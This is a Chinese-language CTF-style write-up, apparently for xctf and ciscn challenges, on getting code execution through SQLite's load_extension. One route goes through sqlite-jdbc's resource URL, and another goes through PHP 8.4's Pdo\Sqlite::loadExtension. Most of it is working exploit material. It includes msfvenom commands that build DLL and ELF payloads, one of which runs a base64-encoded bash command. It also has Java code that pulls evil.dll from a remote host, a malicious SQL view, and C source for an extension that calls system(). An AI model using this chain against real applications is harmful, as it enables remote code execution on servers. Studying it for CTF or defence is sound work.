[[xctf-final]]
[[ciscn-eajava]]
java
https://conference.hitb.org/files/hitbsecconf2021sin/materials/D1T2%20-%20Make%20JDBC%20Attacks%20Brilliant%20Again%20-%20Xu%20Yuanzhen%20&%20Chen%20Hongkun.pdf
环境
1 2 3 4 5
| <dependency> <groupId>org.xerial</groupId> <artifactId>sqlite-jdbc</artifactId> <version>3.8.9</version> </dependency>
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| package sqlite;
import java.sql.Connection; import java.sql.DriverManager; import java.sql.ResultSet; import java.sql.SQLException; import java.sql.Statement; import org.sqlite.SQLiteConfig;
public class SqliteDatasourceConnector{ private Connection connection;
public SqliteDatasourceConnector(String url) throws ClassNotFoundException, SQLException { Class.forName("org.sqlite.JDBC"); SQLiteConfig config = new SQLiteConfig(); config.enableLoadExtension(true); this.connection = DriverManager.getConnection(url, config.toProperties()); this.connection.setAutoCommit(true); }
public void getTableContent(String tableName) throws Exception { String sql = "select * from " + tableName; Statement statement = this.connection.createStatement(); ResultSet resultSet = statement.executeQuery(sql); } }
|
attack
首先需要一个恶意的dll文件。
msfvenom -p windows/x64/exec CMD=’calc.exe’ -f dll -o evil.dll
1 2 3 4 5 6 7
| public class SqliteExp { public static void main(String[] args) throws Exception { SqliteDatasourceConnector sqliteDatasourceConnector = new SqliteDatasourceConnector("jdbc:sqlite::resource:http://192.168.58.132:7777/evil.dll"); sqliteDatasourceConnector.getTableContent("securit"); } }
|
CoreConnection.class
1 2 3 4
| } else { String tempFolder = (new File(System.getProperty("java.io.tmpdir"))).getAbsolutePath(); String dbFileName = String.format("sqlite-jdbc-tmp-%d.db", resourceAddr.hashCode()); File dbFile = new File(tempFolder, dbFileName);
|
然后会生成一个临时文件。然后我们需要去load
C:\Users\C0cr\AppData\Local\Temp\sqlite-jdbc-tmp-278198310.db
路径固定,名字可知。
1 2 3 4
| String so = "http://192.168.58.132:7777/evil.dll"; String url = so; String filename = "sqlite-jdbc-tmp-"+new URL(url).hashCode()+".db"; System.out.printf(filename);
|
创建一个恶意db文件,创建一个View
CREATE VIEW securit as SELECT ( SELECT load_extension('C:\\Users\\C0cr\\AppData\\Local\\Temp\\sqlite-jdbc-tmp-278198310.db'));
最终攻击成功。
1 2
| SqliteDatasourceConnector sqliteDatasourceConnector = new SqliteDatasourceConnector("jdbc:sqlite::resource:http://192.168.58.132:7777/news.db"); sqliteDatasourceConnector.getTableContent("securit");
|
linux
msfvenom -p linux/x64/exec CMD=’echo dG91Y2ggL3RtcC9oYWNrZXIK|base64 -d|bash’ -f elf-so -o evil.so
db缓存文件再 /tmp目录下。
1 2 3 4
| root@un:~ > ls /tmp sqlite-jdbc-tmp-1094285271.db sqlite-jdbc-tmp--2124722348.db
|
PHP8.4
https://www.php.net/manual/zh/pdo-sqlite.loadextension.php
想要使用这些扩展需要安装一些内容。
1 2 3 4 5 6 7 8
| # 1. 安装系统依赖 apt install -y sqlite3 libsqlite3-dev # 2. 安装PHP扩展 apt install -y php8.4-sqlite3 # 3. 重启PHP-FPM systemctl restart php8.4-fpm # 4. 验证 php -m | grep sqlite
|
https://github.com/docker-library/php/blob/master/8.1/trixie/apache/Dockerfile
但是官方的docker环境8+都默认配置了这些。
1 2 3 4 5 6 7 8 9 10 11 12
| RUN set -eux; \ \ savedAptMark="$(apt-mark showmanual)"; \ apt-get update; \ apt-get install -y --no-install-recommends \ ......... libsqlite3-dev \ ./configure \ ................ # always build against system sqlite3 (https://github.com/php/php-src/commit/6083a387a81dbbd66d6316a3a12a63f06d5f7109) --with-pdo-sqlite=/usr \ --with-sqlite3=/usr \
|
但是还是要求php >= 8.4才能使用这个类。
https://www.php.net/manual/zh/class.pdo-sqlite.php
直接去load就行了。
1 2 3 4 5 6
| > cat test.php <?php
$db = new Pdo\Sqlite('sqlite::memory:'); $db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); $db->loadExtension('/var/www/html/exp.so');
|
至于为什么要用pdo
https://www.php.net/manual/zh/sqlite3.loadextension.php
因为原版的需要去配置so文件的目录,有一定限制。
恶意so
然后根据文档来编译一个恶意so文件。
https://sqlite.org/loadext.html
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| > cat exp.c #include <sqlite3ext.h> #include <stdlib.h> SQLITE_EXTENSION_INIT1
#ifdef _WIN32 __declspec(dllexport) #endif int sqlite3_exp_init( sqlite3 *db, char **pzErrMsg, const sqlite3_api_routines *pApi ){ int rc = SQLITE_OK; SQLITE_EXTENSION_INIT2(pApi);
system("touch /tmp/aaaaa"); system("echo 'Hello from SQLite extension' > /tmp/bbbbb");
return rc; }
|
然后上传load即可。
gcc -g -fPIC -shared exp.c -o exp.so
windows下面的话需要使用的是dll文件
C:\myapps\mingw64\bin\x86_64-w64-mingw32-gcc -shared -o exp.dll exp.c
else
其它语言的话,应该也会有利用方式。